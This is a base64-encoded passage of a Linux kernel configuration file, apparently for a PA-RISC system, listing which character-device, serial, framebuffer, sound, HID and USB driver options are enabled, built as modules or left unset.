UklPX1BTMk1VTFQgaXMgbm90IHNldAojIENPTkZJR19HQU1FUE9SVCBpcyBub3Qgc2V0CgojCiMg
Q2hhcmFjdGVyIGRldmljZXMKIwpDT05GSUdfVlQ9eQpDT05GSUdfQ09OU09MRV9UUkFOU0xBVElP
TlM9eQpDT05GSUdfVlRfQ09OU09MRT15CkNPTkZJR19IV19DT05TT0xFPXkKIyBDT05GSUdfVlRf
SFdfQ09OU09MRV9CSU5ESU5HIGlzIG5vdCBzZXQKQ09ORklHX1VOSVg5OF9QVFlTPXkKIyBDT05G
SUdfREVWUFRTX01VTFRJUExFX0lOU1RBTkNFUyBpcyBub3Qgc2V0CkNPTkZJR19MRUdBQ1lfUFRZ
Uz15CkNPTkZJR19MRUdBQ1lfUFRZX0NPVU5UPTI1NgojIENPTkZJR19TRVJJQUxfTk9OU1RBTkRB
UkQgaXMgbm90IHNldAojIENPTkZJR19OT1pPTUkgaXMgbm90IHNldAojIENPTkZJR19OX0dTTSBp
cyBub3Qgc2V0CiMgQ09ORklHX1RSQUNFX1NJTksgaXMgbm90IHNldApDT05GSUdfREVWS01FTT15
CgojCiMgU2VyaWFsIGRyaXZlcnMKIwpDT05GSUdfU0VSSUFMXzgyNTA9eQpDT05GSUdfU0VSSUFM
XzgyNTBfQ09OU09MRT15CkNPTkZJR19TRVJJQUxfODI1MF9QQ0k9eQpDT05GSUdfU0VSSUFMXzgy
NTBfTlJfVUFSVFM9MTMKQ09ORklHX1NFUklBTF84MjUwX1JVTlRJTUVfVUFSVFM9NApDT05GSUdf
U0VSSUFMXzgyNTBfRVhURU5ERUQ9eQpDT05GSUdfU0VSSUFMXzgyNTBfTUFOWV9QT1JUUz15CkNP
TkZJR19TRVJJQUxfODI1MF9TSEFSRV9JUlE9eQojIENPTkZJR19TRVJJQUxfODI1MF9ERVRFQ1Rf
SVJRIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VSSUFMXzgyNTBfUlNBIGlzIG5vdCBzZXQKCiMKIyBO
b24tODI1MCBzZXJpYWwgcG9ydCBzdXBwb3J0CiMKIyBDT05GSUdfU0VSSUFMX01GRF9IU1UgaXMg
bm90IHNldAojIENPTkZJR19QRENfQ09OU09MRSBpcyBub3Qgc2V0CkNPTkZJR19TRVJJQUxfQ09S
RT15CkNPTkZJR19TRVJJQUxfQ09SRV9DT05TT0xFPXkKIyBDT05GSUdfU0VSSUFMX0pTTSBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NFUklBTF9USU1CRVJEQUxFIGlzIG5vdCBzZXQKIyBDT05GSUdfU0VS
SUFMX0FMVEVSQV9KVEFHVUFSVCBpcyBub3Qgc2V0CiMgQ09ORklHX1NFUklBTF9BTFRFUkFfVUFS
VCBpcyBub3Qgc2V0CiMgQ09ORklHX1NFUklBTF9QQ0hfVUFSVCBpcyBub3Qgc2V0CiMgQ09ORklH
X1NFUklBTF9YSUxJTlhfUFNfVUFSVCBpcyBub3Qgc2V0CiMgQ09ORklHX1RUWV9QUklOVEsgaXMg
bm90IHNldAojIENPTkZJR19JUE1JX0hBTkRMRVIgaXMgbm90IHNldAojIENPTkZJR19IV19SQU5E
T00gaXMgbm90IHNldAojIENPTkZJR19SMzk2NCBpcyBub3Qgc2V0CiMgQ09ORklHX0FQUExJQ09N
IGlzIG5vdCBzZXQKQ09ORklHX1JBV19EUklWRVI9eQpDT05GSUdfTUFYX1JBV19ERVZTPTI1Ngoj
IENPTkZJR19UQ0dfVFBNIGlzIG5vdCBzZXQKQ09ORklHX0RFVlBPUlQ9eQojIENPTkZJR19SQU1P
T1BTIGlzIG5vdCBzZXQKIyBDT05GSUdfSTJDIGlzIG5vdCBzZXQKIyBDT05GSUdfU1BJIGlzIG5v
dCBzZXQKCiMKIyBQUFMgc3VwcG9ydAojCiMgQ09ORklHX1BQUyBpcyBub3Qgc2V0CgojCiMgUFBT
IGdlbmVyYXRvcnMgc3VwcG9ydAojCgojCiMgUFRQIGNsb2NrIHN1cHBvcnQKIwoKIwojIEVuYWJs
ZSBEZXZpY2UgRHJpdmVycyAtPiBQUFMgdG8gc2VlIHRoZSBQVFAgY2xvY2sgb3B0aW9ucy4KIwoj
IENPTkZJR19XMSBpcyBub3Qgc2V0CiMgQ09ORklHX1BPV0VSX1NVUFBMWSBpcyBub3Qgc2V0CiMg
Q09ORklHX0hXTU9OIGlzIG5vdCBzZXQKIyBDT05GSUdfVEhFUk1BTCBpcyBub3Qgc2V0CiMgQ09O
RklHX1dBVENIRE9HIGlzIG5vdCBzZXQKQ09ORklHX1NTQl9QT1NTSUJMRT15CgojCiMgU29uaWNz
IFNpbGljb24gQmFja3BsYW5lCiMKIyBDT05GSUdfU1NCIGlzIG5vdCBzZXQKQ09ORklHX0JDTUFf
UE9TU0lCTEU9eQoKIwojIEJyb2FkY29tIHNwZWNpZmljIEFNQkEKIwojIENPTkZJR19CQ01BIGlz
IG5vdCBzZXQKCiMKIyBNdWx0aWZ1bmN0aW9uIGRldmljZSBkcml2ZXJzCiMKIyBDT05GSUdfTUZE
X0NPUkUgaXMgbm90IHNldAojIENPTkZJR19NRkRfU001MDEgaXMgbm90IHNldAojIENPTkZJR19I
VENfUEFTSUMzIGlzIG5vdCBzZXQKIyBDT05GSUdfTUZEX1RNSU8gaXMgbm90IHNldAojIENPTkZJ
R19BQlg1MDBfQ09SRSBpcyBub3Qgc2V0CiMgQ09ORklHX0xQQ19TQ0ggaXMgbm90IHNldAojIENP
TkZJR19NRkRfUkRDMzIxWCBpcyBub3Qgc2V0CiMgQ09ORklHX01GRF9KQU5aX0NNT0RJTyBpcyBu
b3Qgc2V0CiMgQ09ORklHX01GRF9WWDg1NSBpcyBub3Qgc2V0CiMgQ09ORklHX1JFR1VMQVRPUiBp
cyBub3Qgc2V0CiMgQ09ORklHX01FRElBX1NVUFBPUlQgaXMgbm90IHNldAoKIwojIEdyYXBoaWNz
IHN1cHBvcnQKIwojIENPTkZJR19BR1AgaXMgbm90IHNldApDT05GSUdfVkdBX0FSQj15CkNPTkZJ
R19WR0FfQVJCX01BWF9HUFVTPTE2CiMgQ09ORklHX0RSTSBpcyBub3Qgc2V0CiMgQ09ORklHX1NU
VUJfUE9VTFNCTyBpcyBub3Qgc2V0CiMgQ09ORklHX1ZHQVNUQVRFIGlzIG5vdCBzZXQKQ09ORklH
X1ZJREVPX09VVFBVVF9DT05UUk9MPW0KQ09ORklHX0ZCPXkKIyBDT05GSUdfRklSTVdBUkVfRURJ
RCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX0REQyBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX0JPT1Rf
VkVTQV9TVVBQT1JUIGlzIG5vdCBzZXQKQ09ORklHX0ZCX0NGQl9GSUxMUkVDVD15CkNPTkZJR19G
Ql9DRkJfQ09QWUFSRUE9eQpDT05GSUdfRkJfQ0ZCX0lNQUdFQkxJVD15CiMgQ09ORklHX0ZCX0NG
Ql9SRVZfUElYRUxTX0lOX0JZVEUgaXMgbm90IHNldAojIENPTkZJR19GQl9TWVNfRklMTFJFQ1Qg
aXMgbm90IHNldAojIENPTkZJR19GQl9TWVNfQ09QWUFSRUEgaXMgbm90IHNldAojIENPTkZJR19G
Ql9TWVNfSU1BR0VCTElUIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfRk9SRUlHTl9FTkRJQU4gaXMg
bm90IHNldAojIENPTkZJR19GQl9TWVNfRk9QUyBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1dNVF9H
RV9ST1BTIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfU1ZHQUxJQiBpcyBub3Qgc2V0CiMgQ09ORklH
X0ZCX01BQ01PREVTIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfQkFDS0xJR0hUIGlzIG5vdCBzZXQK
IyBDT05GSUdfRkJfTU9ERV9IRUxQRVJTIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfVElMRUJMSVRU
SU5HIGlzIG5vdCBzZXQKCiMKIyBGcmFtZSBidWZmZXIgaGFyZHdhcmUgZHJpdmVycwojCiMgQ09O
RklHX0ZCX0NJUlJVUyBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1BNMiBpcyBub3Qgc2V0CiMgQ09O
RklHX0ZCX0NZQkVSMjAwMCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX0FTSUxJQU5UIGlzIG5vdCBz
ZXQKIyBDT05GSUdfRkJfSU1TVFQgaXMgbm90IHNldApDT05GSUdfRkJfU1RJPXkKIyBDT05GSUdf
RkJfUzFEMTNYWFggaXMgbm90IHNldAojIENPTkZJR19GQl9OVklESUEgaXMgbm90IHNldAojIENP
TkZJR19GQl9SSVZBIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfTUFUUk9YIGlzIG5vdCBzZXQKIyBD
T05GSUdfRkJfUkFERU9OIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfQVRZMTI4IGlzIG5vdCBzZXQK
IyBDT05GSUdfRkJfQVRZIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfUzMgaXMgbm90IHNldAojIENP
TkZJR19GQl9TQVZBR0UgaXMgbm90IHNldAojIENPTkZJR19GQl9TSVMgaXMgbm90IHNldAojIENP
TkZJR19GQl9ORU9NQUdJQyBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX0tZUk8gaXMgbm90IHNldAoj
IENPTkZJR19GQl8zREZYIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfVk9PRE9PMSBpcyBub3Qgc2V0
CiMgQ09ORklHX0ZCX1ZUODYyMyBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1RSSURFTlQgaXMgbm90
IHNldAojIENPTkZJR19GQl9BUksgaXMgbm90IHNldAojIENPTkZJR19GQl9QTTMgaXMgbm90IHNl
dAojIENPTkZJR19GQl9DQVJNSU5FIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfU01TQ1VGWCBpcyBu
b3Qgc2V0CiMgQ09ORklHX0ZCX1VETCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1ZJUlRVQUwgaXMg
bm90IHNldAojIENPTkZJR19GQl9NRVRST05PTUUgaXMgbm90IHNldAojIENPTkZJR19GQl9NQjg2
MlhYIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfQlJPQURTSEVFVCBpcyBub3Qgc2V0CiMgQ09ORklH
X0JBQ0tMSUdIVF9MQ0RfU1VQUE9SVCBpcyBub3Qgc2V0CgojCiMgQ29uc29sZSBkaXNwbGF5IGRy
aXZlciBzdXBwb3J0CiMKQ09ORklHX0RVTU1ZX0NPTlNPTEU9eQpDT05GSUdfRFVNTVlfQ09OU09M
RV9DT0xVTU5TPTE2MApDT05GSUdfRFVNTVlfQ09OU09MRV9ST1dTPTY0CkNPTkZJR19GUkFNRUJV
RkZFUl9DT05TT0xFPXkKIyBDT05GSUdfRlJBTUVCVUZGRVJfQ09OU09MRV9ERVRFQ1RfUFJJTUFS
WSBpcyBub3Qgc2V0CiMgQ09ORklHX0ZSQU1FQlVGRkVSX0NPTlNPTEVfUk9UQVRJT04gaXMgbm90
IHNldApDT05GSUdfU1RJX0NPTlNPTEU9eQojIENPTkZJR19GT05UUyBpcyBub3Qgc2V0CkNPTkZJ
R19GT05UXzh4OD15CkNPTkZJR19GT05UXzh4MTY9eQpDT05GSUdfTE9HTz15CiMgQ09ORklHX0xP
R09fTElOVVhfTU9OTyBpcyBub3Qgc2V0CiMgQ09ORklHX0xPR09fTElOVVhfVkdBMTYgaXMgbm90
IHNldAojIENPTkZJR19MT0dPX0xJTlVYX0NMVVQyMjQgaXMgbm90IHNldApDT05GSUdfTE9HT19Q
QVJJU0NfQ0xVVDIyND15CkNPTkZJR19TT1VORD15CkNPTkZJR19TT1VORF9PU1NfQ09SRT15CkNP
TkZJR19TT1VORF9PU1NfQ09SRV9QUkVDTEFJTT15CkNPTkZJR19TTkQ9eQpDT05GSUdfU05EX1RJ
TUVSPXkKQ09ORklHX1NORF9QQ009eQpDT05GSUdfU05EX1NFUVVFTkNFUj15CiMgQ09ORklHX1NO
RF9TRVFfRFVNTVkgaXMgbm90IHNldApDT05GSUdfU05EX09TU0VNVUw9eQpDT05GSUdfU05EX01J
WEVSX09TUz15CkNPTkZJR19TTkRfUENNX09TUz15CkNPTkZJR19TTkRfUENNX09TU19QTFVHSU5T
PXkKQ09ORklHX1NORF9TRVFVRU5DRVJfT1NTPXkKIyBDT05GSUdfU05EX0RZTkFNSUNfTUlOT1JT
IGlzIG5vdCBzZXQKQ09ORklHX1NORF9TVVBQT1JUX09MRF9BUEk9eQpDT05GSUdfU05EX1ZFUkJP
U0VfUFJPQ0ZTPXkKIyBDT05GSUdfU05EX1ZFUkJPU0VfUFJJTlRLIGlzIG5vdCBzZXQKIyBDT05G
SUdfU05EX0RFQlVHIGlzIG5vdCBzZXQKQ09ORklHX1NORF9WTUFTVEVSPXkKIyBDT05GSUdfU05E
X1JBV01JRElfU0VRIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX09QTDNfTElCX1NFUSBpcyBub3Qg
c2V0CiMgQ09ORklHX1NORF9PUEw0X0xJQl9TRVEgaXMgbm90IHNldAojIENPTkZJR19TTkRfU0JB
V0VfU0VRIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0VNVTEwSzFfU0VRIGlzIG5vdCBzZXQKQ09O
RklHX1NORF9BQzk3X0NPREVDPXkKQ09ORklHX1NORF9EUklWRVJTPXkKIyBDT05GSUdfU05EX0RV
TU1ZIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0FMT09QIGlzIG5vdCBzZXQKIyBDT05GSUdfU05E
X1ZJUk1JREkgaXMgbm90IHNldAojIENPTkZJR19TTkRfTVRQQVYgaXMgbm90IHNldAojIENPTkZJ
R19TTkRfU0VSSUFMX1UxNjU1MCBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9NUFU0MDEgaXMgbm90
IHNldAojIENPTkZJR19TTkRfQUM5N19QT1dFUl9TQVZFIGlzIG5vdCBzZXQKQ09ORklHX1NORF9Q
Q0k9eQpDT05GSUdfU05EX0FEMTg4OT15CiMgQ09ORklHX1NORF9BTFMzMDAgaXMgbm90IHNldAoj
IENPTkZJR19TTkRfQUxJNTQ1MSBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9BVElJWFAgaXMgbm90
IHNldAojIENPTkZJR19TTkRfQVRJSVhQX01PREVNIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0FV
ODgxMCBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9BVTg4MjAgaXMgbm90IHNldAojIENPTkZJR19T
TkRfQVU4ODMwIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0FXMiBpcyBub3Qgc2V0CiMgQ09ORklH
X1NORF9BWlQzMzI4IGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0JUODdYIGlzIG5vdCBzZXQKIyBD
T05GSUdfU05EX0NBMDEwNiBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9DTUlQQ0kgaXMgbm90IHNl
dAojIENPTkZJR19TTkRfT1hZR0VOIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0NTNDI4MSBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NORF9DUzQ2WFggaXMgbm90IHNldAojIENPTkZJR19TTkRfQ1M1NTM1
QVVESU8gaXMgbm90IHNldAojIENPTkZJR19TTkRfQ1RYRkkgaXMgbm90IHNldAojIENPTkZJR19T
TkRfREFSTEEyMCBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9HSU5BMjAgaXMgbm90IHNldAojIENP
TkZJR19TTkRfTEFZTEEyMCBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9EQVJMQTI0IGlzIG5vdCBz
ZXQKIyBDT05GSUdfU05EX0dJTkEyNCBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9MQVlMQTI0IGlz
IG5vdCBzZXQKIyBDT05GSUdfU05EX01PTkEgaXMgbm90IHNldAojIENPTkZJR19TTkRfTUlBIGlz
IG5vdCBzZXQKIyBDT05GSUdfU05EX0VDSE8zRyBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9JTkRJ
R08gaXMgbm90IHNldAojIENPTkZJR19TTkRfSU5ESUdPSU8gaXMgbm90IHNldAojIENPTkZJR19T
TkRfSU5ESUdPREogaXMgbm90IHNldAojIENPTkZJR19TTkRfSU5ESUdPSU9YIGlzIG5vdCBzZXQK
IyBDT05GSUdfU05EX0lORElHT0RKWCBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9FTVUxMEsxIGlz
IG5vdCBzZXQKIyBDT05GSUdfU05EX0VNVTEwSzFYIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0VO
UzEzNzAgaXMgbm90IHNldAojIENPTkZJR19TTkRfRU5TMTM3MSBpcyBub3Qgc2V0CiMgQ09ORklH
X1NORF9FUzE5MzggaXMgbm90IHNldAojIENPTkZJR19TTkRfRVMxOTY4IGlzIG5vdCBzZXQKIyBD
T05GSUdfU05EX0ZNODAxIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0hEQV9JTlRFTCBpcyBub3Qg
c2V0CiMgQ09ORklHX1NORF9IRFNQIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX0hEU1BNIGlzIG5v
dCBzZXQKIyBDT05GSUdfU05EX0lDRTE3MTIgaXMgbm90IHNldAojIENPTkZJR19TTkRfSUNFMTcy
NCBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9JTlRFTDhYMCBpcyBub3Qgc2V0CiMgQ09ORklHX1NO
RF9JTlRFTDhYME0gaXMgbm90IHNldAojIENPTkZJR19TTkRfS09SRzEyMTIgaXMgbm90IHNldAoj
IENPTkZJR19TTkRfTE9MQSBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9MWDY0NjRFUyBpcyBub3Qg
c2V0CiMgQ09ORklHX1NORF9NQUVTVFJPMyBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9NSVhBUlQg
aXMgbm90IHNldAojIENPTkZJR19TTkRfTk0yNTYgaXMgbm90IHNldAojIENPTkZJR19TTkRfUENY
SFIgaXMgbm90IHNldAojIENPTkZJR19TTkRfUklQVElERSBpcyBub3Qgc2V0CiMgQ09ORklHX1NO
RF9STUUzMiBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9STUU5NiBpcyBub3Qgc2V0CiMgQ09ORklH
X1NORF9STUU5NjUyIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX1NPTklDVklCRVMgaXMgbm90IHNl
dAojIENPTkZJR19TTkRfVFJJREVOVCBpcyBub3Qgc2V0CiMgQ09ORklHX1NORF9WSUE4MlhYIGlz
IG5vdCBzZXQKIyBDT05GSUdfU05EX1ZJQTgyWFhfTU9ERU0gaXMgbm90IHNldAojIENPTkZJR19T
TkRfVklSVFVPU08gaXMgbm90IHNldAojIENPTkZJR19TTkRfVlgyMjIgaXMgbm90IHNldAojIENP
TkZJR19TTkRfWU1GUENJIGlzIG5vdCBzZXQKQ09ORklHX1NORF9VU0I9eQojIENPTkZJR19TTkRf
VVNCX0FVRElPIGlzIG5vdCBzZXQKIyBDT05GSUdfU05EX1VTQl9VQTEwMSBpcyBub3Qgc2V0CiMg
Q09ORklHX1NORF9VU0JfQ0FJQVEgaXMgbm90IHNldAojIENPTkZJR19TTkRfVVNCXzZGSVJFIGlz
IG5vdCBzZXQKIyBDT05GSUdfU05EX1NPQyBpcyBub3Qgc2V0CiMgQ09ORklHX1NPVU5EX1BSSU1F
IGlzIG5vdCBzZXQKQ09ORklHX0FDOTdfQlVTPXkKQ09ORklHX0hJRF9TVVBQT1JUPXkKQ09ORklH
X0hJRD15CiMgQ09ORklHX0hJRFJBVyBpcyBub3Qgc2V0CgojCiMgVVNCIElucHV0IERldmljZXMK
IwpDT05GSUdfVVNCX0hJRD15CiMgQ09ORklHX0hJRF9QSUQgaXMgbm90IHNldApDT05GSUdfVVNC
X0hJRERFVj15CgojCiMgU3BlY2lhbCBISUQgZHJpdmVycwojCiMgQ09ORklHX0hJRF9BNFRFQ0gg
aXMgbm90IHNldAojIENPTkZJR19ISURfQUNSVVggaXMgbm90IHNldAojIENPTkZJR19ISURfQVBQ
TEUgaXMgbm90IHNldAojIENPTkZJR19ISURfQkVMS0lOIGlzIG5vdCBzZXQKIyBDT05GSUdfSElE
X0NIRVJSWSBpcyBub3Qgc2V0CiMgQ09ORklHX0hJRF9DSElDT05ZIGlzIG5vdCBzZXQKIyBDT05G
SUdfSElEX1BST0RJS0VZUyBpcyBub3Qgc2V0CiMgQ09ORklHX0hJRF9DWVBSRVNTIGlzIG5vdCBz
ZXQKIyBDT05GSUdfSElEX0RSQUdPTlJJU0UgaXMgbm90IHNldAojIENPTkZJR19ISURfRU1TX0ZG
IGlzIG5vdCBzZXQKIyBDT05GSUdfSElEX0VaS0VZIGlzIG5vdCBzZXQKIyBDT05GSUdfSElEX0hP
TFRFSyBpcyBub3Qgc2V0CiMgQ09ORklHX0hJRF9LRVlUT1VDSCBpcyBub3Qgc2V0CiMgQ09ORklH
X0hJRF9LWUUgaXMgbm90IHNldAojIENPTkZJR19ISURfVUNMT0dJQyBpcyBub3Qgc2V0CiMgQ09O
RklHX0hJRF9XQUxUT1AgaXMgbm90IHNldAojIENPTkZJR19ISURfR1lSQVRJT04gaXMgbm90IHNl
dAojIENPTkZJR19ISURfVFdJTkhBTiBpcyBub3Qgc2V0CiMgQ09ORklHX0hJRF9LRU5TSU5HVE9O
IGlzIG5vdCBzZXQKIyBDT05GSUdfSElEX0xDUE9XRVIgaXMgbm90IHNldAojIENPTkZJR19ISURf
TE9HSVRFQ0ggaXMgbm90IHNldAojIENPTkZJR19ISURfTUlDUk9TT0ZUIGlzIG5vdCBzZXQKIyBD
T05GSUdfSElEX01PTlRFUkVZIGlzIG5vdCBzZXQKIyBDT05GSUdfSElEX01VTFRJVE9VQ0ggaXMg
bm90IHNldAojIENPTkZJR19ISURfTlRSSUcgaXMgbm90IHNldAojIENPTkZJR19ISURfT1JURUsg
aXMgbm90IHNldAojIENPTkZJR19ISURfUEFOVEhFUkxPUkQgaXMgbm90IHNldAojIENPTkZJR19I
SURfUEVUQUxZTlggaXMgbm90IHNldAojIENPTkZJR19ISURfUElDT0xDRCBpcyBub3Qgc2V0CiMg
Q09ORklHX0hJRF9QUklNQVggaXMgbm90IHNldAojIENPTkZJR19ISURfUk9DQ0FUIGlzIG5vdCBz
ZXQKIyBDT05GSUdfSElEX1NBTVNVTkcgaXMgbm90IHNldAojIENPTkZJR19ISURfU09OWSBpcyBu
b3Qgc2V0CiMgQ09ORklHX0hJRF9TUEVFRExJTksgaXMgbm90IHNldAojIENPTkZJR19ISURfU1VO
UExVUyBpcyBub3Qgc2V0CiMgQ09ORklHX0hJRF9HUkVFTkFTSUEgaXMgbm90IHNldAojIENPTkZJ
R19ISURfU01BUlRKT1lQTFVTIGlzIG5vdCBzZXQKIyBDT05GSUdfSElEX1RPUFNFRUQgaXMgbm90
IHNldAojIENPTkZJR19ISURfVEhSVVNUTUFTVEVSIGlzIG5vdCBzZXQKIyBDT05GSUdfSElEX1pF
Uk9QTFVTIGlzIG5vdCBzZXQKIyBDT05GSUdfSElEX1pZREFDUk9OIGlzIG5vdCBzZXQKQ09ORklH
X1VTQl9TVVBQT1JUPXkKQ09ORklHX1VTQl9DT01NT049eQpDT05GSUdfVVNCX0FSQ0hfSEFTX0hD
RD15CkNPTkZJR19VU0JfQVJDSF9IQVNfT0hDST15CkNPTkZJR19VU0JfQVJDSF9IQVNfRUhDST15
CkNPTkZJR19VU0JfQVJDSF9IQVNfWEhDST15CkNPTkZJR19VU0I9eQpDT05GSUdfVVNCX0RFQlVH
PXkKIyBDT05GSUdfVVNCX0FOTk9VTkNFX05FV19ERVZJQ0VTIGlzIG5vdCBzZXQKCiMKIyBNaXNj
ZWxsYW5lb3VzIFVTQiBvcHRpb25zCiMKQ09ORklHX1VTQl9ERVZJQ0VGUz15CkNPTkZJR19VU0Jf
REVWSUNFX0NMQVNTPXkKIyBDT05GSUdfVVNCX0RZTkFNSUNfTUlOT1JTIGlzIG5vdCBzZXQKIyBD
T05GSUdfVVNCX09UR19XSElURUxJU1QgaXMgbm90IHNldAojIENPTkZJR19VU0JfT1RHX0JMQUNL
TElTVF9IVUIgaXMgbm90IHNldAojIENPTkZJR19VU0JfTU9OIGlzIG5vdCBzZXQKIyBDT05GSUdf
VVNCX1dVU0IgaXMgbm90IHNldAojIENPTkZJR19VU0JfV1VTQl9DQkFGIGlzIG5vdCBzZXQKCiMK
IyBVU0IgSG9zdCBDb250cm9sbGVyIERyaXZlcnMKIwojIENPTkZJR19VU0JfQzY3WDAwX0hDRCBp
cyBub3Qgc2V0CiMgQ09ORklHX1VTQl9YSENJX0hDRCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9F
SENJX0hDRCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9PWFUyMTBIUF9IQ0QgaXMgbm90IHNldAoj
IENPTkZJR19VU0JfSVNQMTE2WF9IQ0QgaXMgbm90IHNldAojIENPTkZJR19VU0JfSVNQMTc2MF9I
Q0QgaXMgbm90IHNldAojIENPTkZJR19VU0JfSVNQMTM2Ml9IQ0QgaXMgbm90IHNldApDT05GSUdf
VVNCX09IQ0lfSENEPXkKIyBDT05GSUdfVVNCX09IQ0lfQklHX0VORElBTl9ERVNDIGlzIG5vdCBz
ZXQKIyBDT05GSUdfVVNCX09IQ0lfQklHX0VORElBTl9NTUlPIGlzIG5vdCBzZXQKQ09ORklHX1VT
Ql9PSENJX0xJVFRMRV9FTkRJQU49eQojIENPTkZJR19VU0JfVUhDSV9IQ0QgaXMgbm90IHNldAoj
IENPTkZJR19VU0JfU0w4MTFfSENEIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1I4QTY2NTk3X0hD
RCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9XSENJX0hDRCBpcyBub3Qgc2V0CiMgQ09ORklHX1VT
Ql9IV0FfSENEIGlzIG5vdCBzZXQKCiMKIyBVU0IgRGV2aWNlIENsYXNzIGRyaXZlcnMKIwojIENP
TkZJR19VU0JfQUNNIGlzIG5vdCBzZXQKQ09ORklHX1VTQl9QUklOVEVSPW0KIyBDT05GSUdfVVNC
X1dETSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9UTUMgaXMgbm90IHNldAoKIwojIE5PVEU6IFVT
Ql9TVE9SQUdFIGRlcGVuZHMgb24gU0NTSSBidXQgQkxLX0RFVl9TRCBtYXkKIwoKIwojIGFsc28g
YmUgbmVlZGVkOyBzZWUgVVNCX1NUT1JBR0UgSGVscCBmb3IgbW9yZSBpbmZvCiMKQ09ORklHX1VT
Ql9TVE9SQUdFPW0KIyBDT05GSUdfVVNCX1NUT1JBR0VfREVCVUcgaXMgbm90IHNldAojIENPTkZJ
R19VU0JfU1RPUkFHRV9SRUFMVEVLIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NUT1JBR0VfREFU
QUZBQiBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TVE9SQUdFX0ZSRUVDT00gaXMgbm90IHNldAoj
IENPTkZJR19VU0JfU1RPUkFHRV9JU0QyMDAgaXMgbm90IHNldApDT05GSUdfVVNCX1NUT1JBR0Vf
VVNCQVQ9bQpDT05GSUdfVVNCX1NUT1JBR0VfU0REUjA5PW0KQ09ORklHX1VTQl9TVE9SQUdFX1NE
RFI1NT1tCkNPTkZJR19VU0JfU1RPUkFHRV9KVU1QU0hPVD1tCiMgQ09ORklHX1VTQl9TVE9SQUdF
X0FMQVVEQSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TVE9SQUdFX09ORVRPVUNIIGlzIG5vdCBz
ZXQKIyBDT05GSUdfVVNCX1NUT1JBR0VfS0FSTUEgaXMgbm90IHNldAojIENPTkZJR19VU0JfU1RP
UkFHRV9DWVBSRVNTX0FUQUNCIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NUT1JBR0VfRU5FX1VC
NjI1MCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9VQVMgaXMgbm90IHNldAojIENPTkZJR19VU0Jf
TElCVVNVQUwgaXMgbm90IHNldAoKIwojIFVTQiBJbWFnaW5nIGRldmljZXMKIwpDT05GSUdfVVNC
X01EQzgwMD1tCkNPTkZJR19VU0JfTUlDUk9URUs9bQoKIwojIFVTQiBwb3J0IGRyaXZlcnMKIwoj
IENPTkZJR19VU0JfU0VSSUFMIGlzIG5vdCBzZXQKCiMKIyBVU0IgTWlzY2VsbGFuZW91cyBkcml2
ZXJzCiMKIyBDT05GSUdfVVNCX0VNSTYyIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0VNSTI2IGlz
IG5vdCBzZXQKIyBDT05GSUdfVVNCX0FEVVRVWCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TRVZT
RUcgaXMgbm90IHNldAojIENPTkZJR19VU0JfUklPNTAwIGlzIG5vdCBzZXQKQ09ORklHX1VTQl9M
RUdPVE9XRVI9bQojIENPTkZJR19VU0JfTENEIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0xFRCBp
cyBub3Qgc2V0CiMgQ09ORklHX1VTQl9DWVBSRVNTX0NZN0M2MyBpcyBub3Qgc2V0CiMgQ09ORklH
X1VTQl9DWVRIRVJNIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0lETU9VU0UgaXMgbm90IHNldAoj
IENPTkZJR19VU0JfRlRESV9FTEFOIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0FQUExFRElTUExB
